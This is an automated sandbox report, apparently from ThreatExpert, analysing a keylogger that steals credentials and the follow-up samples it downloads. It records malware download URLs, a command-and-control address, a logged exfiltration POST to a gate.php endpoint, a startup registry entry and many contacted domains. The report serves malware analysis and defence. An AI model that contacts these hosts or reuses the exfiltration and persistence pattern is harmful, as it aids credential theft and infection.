ThreatExpert Report

Submission Summary:

Submission details:

Submission received: 18 August 2012, 04:40:44
Processing time: 7 min 58 sec
Submitted sample:

File MD5: 0x8FC0B5DA97D240AF1578C20E1A66403A
File SHA-1: 0xF09ED5EE9EAB5701B7CB3C25B29C54EDDEF6EA42
Filesize: 144,896 bytes

Summary of the findings:

What's been found	Severity Level
Capability to steal information such personal financial data (credit card numbers, online banking login details), user profiles, software registration keys, passwords.
Produces outbound traffic.
Downloads/requests other files from Internet.
Contains characteristics of an identified security risk.

Technical Details:

Possible Security Risk

Attention! The following threat category was identified:

Threat Category	Description
	A keylogger program that can capture all user keystrokes (including confidential details such username, password, credit card number, etc.)

File System Modifications

The following files were created in the system:

#	Filename(s)	File Size	File Hash
1	%Temp%\abcd.bat	0 bytes	MD5: 0xD41D8CD98F00B204E9800998ECF8427E SHA-1: 0xDA39A3EE5E6B4B0D3255BFEF95601890AFD80709
2	[file and pathname of the sample #1]	144,896 bytes	MD5: 0x8FC0B5DA97D240AF1578C20E1A66403A SHA-1: 0xF09ED5EE9EAB5701B7CB3C25B29C54EDDEF6EA42

Note:

%Temp% is a variable that refers to the temporary folder in the short path form. By default, this is C:\Documents and Settings\[UserName]\Local Settings\Temp\ (Windows NT/2000/XP).

Memory Modifications

There was a new process created in the system:

Process Name	Process Filename	Main Module Size
[filename of the sample #1]	[file and pathname of the sample #1]	102,400 bytes

Registry Modifications

The following Registry Key was created:

HKEY_CURRENT_USER\Software\WinRAR

The newly created Registry Value is:

[HKEY_CURRENT_USER\Software\WinRAR]

HWID = 7B 35 38 37 44 43 46 37 35 2D 32 41 34 31 2D 34 34 41 41 2D 42 34 39 39 2D 38 38 30 32 39 32 44 33 31 38 39 32 7D

Other details

The following Host Names were requested from a host database:

192.5.5.241
74.53.97.68
74.53.97.69
stampetls.it
www.megato.net
recyklacesro.cz

There was registered attempt to establish connection with the remote host. The connection details are:

Remote Host	Port Number
74.53.97.68	8080

The following HTTP URLs were started reading:

http://stampetls.it/KB1fGvs7/Mqqg.exe
http://www.megato.net/ZN8n5AUb/MZtjm.exe
http://recyklacesro.cz/sWUsPow1/r3ZRw.exe

Outbound traffic (potentially malicious)

There was an outbound traffic produced on port 8080:

00000000 | 504F 5354 202F 706F 6E79 732F 6761 7465 | POST /ponys/gate
00000010 | 2E70 6870 2048 5454 502F 312E 300D 0A48 | .php HTTP/1.0..H
00000020 | 6F73 743A 2037 342E 3533 2E39 372E 3638 | ost: 74.53.97.68
00000030 | 0D0A 4163 6365 7074 3A20 2A2F 2A0D 0A41 | ..Accept: */*..A
00000040 | 6363 6570 742D 456E 636F 6469 6E67 3A20 | ccept-Encoding:
00000050 | 6964 656E 7469 7479 2C20 2A3B 713D 300D | identity, *;q=0.
00000060 | 0A43 6F6E 7465 6E74 2D4C 656E 6774 683A | .Content-Length:
00000070 | 2034 3533 0D0A 436F 6E6E 6563 7469 6F6E |  453..Connection
00000080 | 3A20 636C 6F73 650D 0A43 6F6E 7465 6E74 | : close..Content
00000090 | 2D54 7970 653A 2061 7070 6C69 6361 7469 | -Type: applicati
000000A0 | 6F6E 2F6F 6374 6574 2D73 7472 6561 6D0D | on/octet-stream.
000000B0 | 0A43 6F6E 7465 6E74 2D45 6E63 6F64 696E | .Content-Encodin
000000C0 | 673A 2062 696E 6172 790D 0A55 7365 722D | g: binary..User-
000000D0 | 4167 656E 743A 204D 6F7A 696C 6C61 2F34 | Agent: Mozilla/4
000000E0 | 2E30 2028 636F 6D70 6174 6962 6C65 3B20 | .0 (compatible;
000000F0 | 4D53 4945 2035 2E30 3B20 5769 6E64 6F77 | MSIE 5.0; Window
00000100 | 7320 3938 290D 0A0D 0A43 5259 5054 4544 | s 98)....CRYPTED
00000110 | 3094 8E01 19A5 3F45 D24D 281D AB45 59CA | 0.....?E.M(..EY.
00000120 | 51C0 C0AA 4DFF E41F A0D5 69D6 86B8 1866 | Q...M.....i....f
00000130 | 7898 C311 9146 8568 375A 430F D4DC ED14 | x....F.h7ZC.....
00000140 | 32F0 2E42 E8DC 2ADA B141 10C5 A541 60B8 | 2..B..*..A...A`.
00000150 | B2C6 5B79 E3F5 A6BD CACA 9559 E8EA 5CD1 | ..[y.......Y..\.
00000160 | 0A23 8263 DC3C 48A7 D320 5C75 1482 5A44 | .#.c.<H.. \u..ZD
00000170 | CC20 5F4D 407A 7A27 E589 9BF6 37BE CA9F | . _M@zz'....7...
00000180 | 909F C33C B144 F365 735F CD32 3D62 DFA2 | ...<.D.es_.2=b..
00000190 | F46C 008C 31E3 282F A502 59B0 CB56 CF85 | .l..1.(/..Y..V..
000001A0 | B95B 1985 5156 9E5B 3B89 6C26 E45F E257 | .[..QV.[;.l&._.W
000001B0 | 2FBE 6066 D179 9227 9CF4 6C0B 3B14 1787 | /.`f.y.'..l.;...
000001C0 | E405 5767 8DD1 2FF1 867A 6723 3451 3449 | ..Wg../..zg#4Q4I
000001D0 | C435 DE5D 5391 5BE2 BF64 2ED0 FF95 8773 | .5.]S.[..d.....s
000001E0 | 7437 49F6 E223 2F7C 23A0 6ECD 9EF0 003A | t7I..#/|#.n....:
000001F0 | 823F E3F4 DC00 8E5C 8089 D4F3 7299 E78A | .?.....\....r...
00000200 | 5A3B 86D8 0490 A65F 1C42 8BE8 3323 804B | Z;....._.B..3#.K
00000210 | 03DF 6C36 D051 41BE 5838 CF9A 1E2B FC8E | ..l6.QA.X8...+..
00000220 | 14BF 9EF2 C3D4 50F1 5835 D402 D345 BD95 | ......P.X5...E..
00000230 | A9A1 8E58 220B 624E 3507 D747 0E8E 536D | ...X".bN5..G..Sm
00000240 | 45B3 0852 0AA2 251E 041D 2405 9E54 9BE9 | E..R..%...$..T..
00000250 | 3960 315C 55A1 819A B364 FBDE E62E 23E5 | 9`1\U....d....#.
00000260 | DC34 5CB5 6BDC 12B8 AFF9 8871 D294 8C65 | .4\.k......q...e
00000270 | 94E6 2092 F9F4 A3CD 68FF BEB4 02A4 38CD | .. .....h.....8.
00000280 | 74D5 1156 ED75 5E10 7A86 D877 8617 F52B | t..V.u^.z..w...+
00000290 | E1CB 1837 2007 429B FA0D A8F1 1108 1C76 | ...7 .B........v
000002A0 | 7D0B 78BA 6F54 E1B2 71F1 8B67 925A 6966 | }.x.oT..q..g.Zif
000002B0 | 3217 2044 93D5 66AD F257 1643 C1CE DF88 | 2. D..f..W.C....
000002C0 | 174A 6DBA 281B 8346 A9C3 AF13 F45D      | .Jm.(..F.....]

Downloaded File Summary:

Download details:

Download retrieved: 18 August 2012 04:48:43
Processing time: 11 min 33 sec
Downloaded sample #1:

File MD5: 0x06A4A87D8D370F029F1D09E7370BDDCE
File SHA-1: 0x933459E4F68BEF26E6A5878B29E27707E80E2BF8
Filesize: 320,513 bytes

Downloaded sample #2:

File MD5: 0x2DC047F24E61A497C705F07DA4133869
File SHA-1: 0x37BC2588236BE19F9779BFA04DFC89A20196C7EF
Filesize: 312,321 bytes

Summary of the findings:

What's been found	Severity Level
Downloads/requests other files from Internet.
Creates a startup registry entry.

Technical Details:

File System Modifications

The following files were created in the system:

#	Filename(s)	File Size	File Hash
1	%AppData%\Uholu\hyofe.exe	312,321 bytes	MD5: 0x26B3F0D79C1286CF789B233D4E83FB5F SHA-1: 0xAEE32BFADBBC4C98560A58EFD7C4D995B5E5AA38
2	%AppData%\rydabi.lui	1,322 bytes	MD5: 0x52D293ECD0B03BB2B048D1A25270CD6D SHA-1: 0x4CB5AEF28C80EE09A6DDB7D7715EBCFD07683256
3	%Temp%\tmp0c1af522.bat	168 bytes	MD5: 0xC4E4396D46B18CF5984B1D7BE5E70D8C SHA-1: 0xF020E4FE8B390B87BF687DA64CEEF60DD03F2AD5
4	[file and pathname of the sample #1]	320,513 bytes	MD5: 0x06A4A87D8D370F029F1D09E7370BDDCE SHA-1: 0x933459E4F68BEF26E6A5878B29E27707E80E2BF8
5	[file and pathname of the sample #2]	312,321 bytes	MD5: 0x2DC047F24E61A497C705F07DA4133869 SHA-1: 0x37BC2588236BE19F9779BFA04DFC89A20196C7EF

Notes:

%AppData% is a variable that refers to the file system directory that serves as a common repository for application-specific data. A typical path is C:\Documents and Settings\[UserName]\Application Data.
%Temp% is a variable that refers to the temporary folder in the short path form. By default, this is C:\Documents and Settings\[UserName]\Local Settings\Temp\ (Windows NT/2000/XP).

The following directory was created:

%AppData%\Uholu

Memory Modifications

There were new processes created in the system:

Process Name	Process Filename	Main Module Size
hyofe.exe	%AppData%\Uholu\hyofe.exe	229,376 bytes
[filename of the sample #2]	[file and pathname of the sample #2]	229,376 bytes

There was a new memory page created in the address space of the system process(es):

Process Name	Process Filename	Allocated Size
cmd.exe	%System%\cmd.exe	278,528 bytes

Notes:

%System% is a variable that refers to the System folder. By default, this is C:\Windows\System (Windows 95/98/Me), C:\Winnt\System32 (Windows NT/2000), or C:\Windows\System32 (Windows XP).

Registry Modifications

The following Registry Keys were created:

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Privacy
HKEY_CURRENT_USER\Software\Microsoft\Afiwva

The newly created Registry Values are:

[HKEY_CURRENT_USER\Identities]

Identity Login = 0x00098053

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Privacy]

CleanCookies = 0x00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

{3DFA1AE4-115C-AD7B-A6BA-A75086AF8442} = ""%AppData%\Uholu\hyofe.exe""

so that hyofe.exe runs every time Windows starts

[HKEY_CURRENT_USER\Software\Microsoft\Afiwva]

i08j598 = "8DX8+fDXUwaszCZ3"
12d5j1gi = 0xF99E35C0
2j5i4706 = "R1ye+ZeDJQadzB53"

The following Registry Values were modified:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]

1609 =

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]

1406 =
1609 =

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]

1609 =

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]

1406 =
1609 =

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4]

1406 =
1609 =

Other details

To mark the presence in the system, the following Mutex object was created:

Local\{FA4803F7-084F-6AC9-A6BA-A75086AF8442}

The following Internet Connections were established:

Server Name	Server Port	Connect as User	Connection Password
www.google.com	80	(null)	(null)
hebyhuizkvxgmojxbuppmf.ru	80	(null)	(null)
qgyumnvomjxambjbmzeiythi.biz	80	(null)	(null)
ofrhptsxcvdqweyfuukjruclv.net	80	(null)	(null)
dqqsyvdjrxolvvrcxtcrgh.org	80	(null)	(null)
pmbuoxkytxhxzkfgqoqjbuox.info	80	(null)	(null)
tohsofbqvaicifaukytlbemwgrwwc.com	80	(null)	(null)
gutwkrufvkguydbiuwmzaueunz.ru	80	(null)	(null)
mzqcordyqwibwccojibupfdgu.com	80	(null)	(null)
ijizirhebzswllbxoznzxlrmz.info	80	(null)	(null)
ducijrsamuchupvhapzeyirsnn.org	80	(null)	(null)
privlahylbiwscucubujnxivdyby.net	80	(null)	(null)
cyvgofvsqctkddgmbyddehibqjn.biz	80	(null)	(null)
ylkrdhizhwsmfpdqhypzlfcada.ru	80	(null)	(null)
ptsxzplrzdaekrpnoftauhqtsnbpj.com	80	(null)	(null)
totkbqxcqxkwsjzibpzfygqpkrnvp.net	80	(null)	(null)
plfhsclvjbsodivxsgumznbiz.org	80	(null)	(null)

The following GET request was made:

index.html

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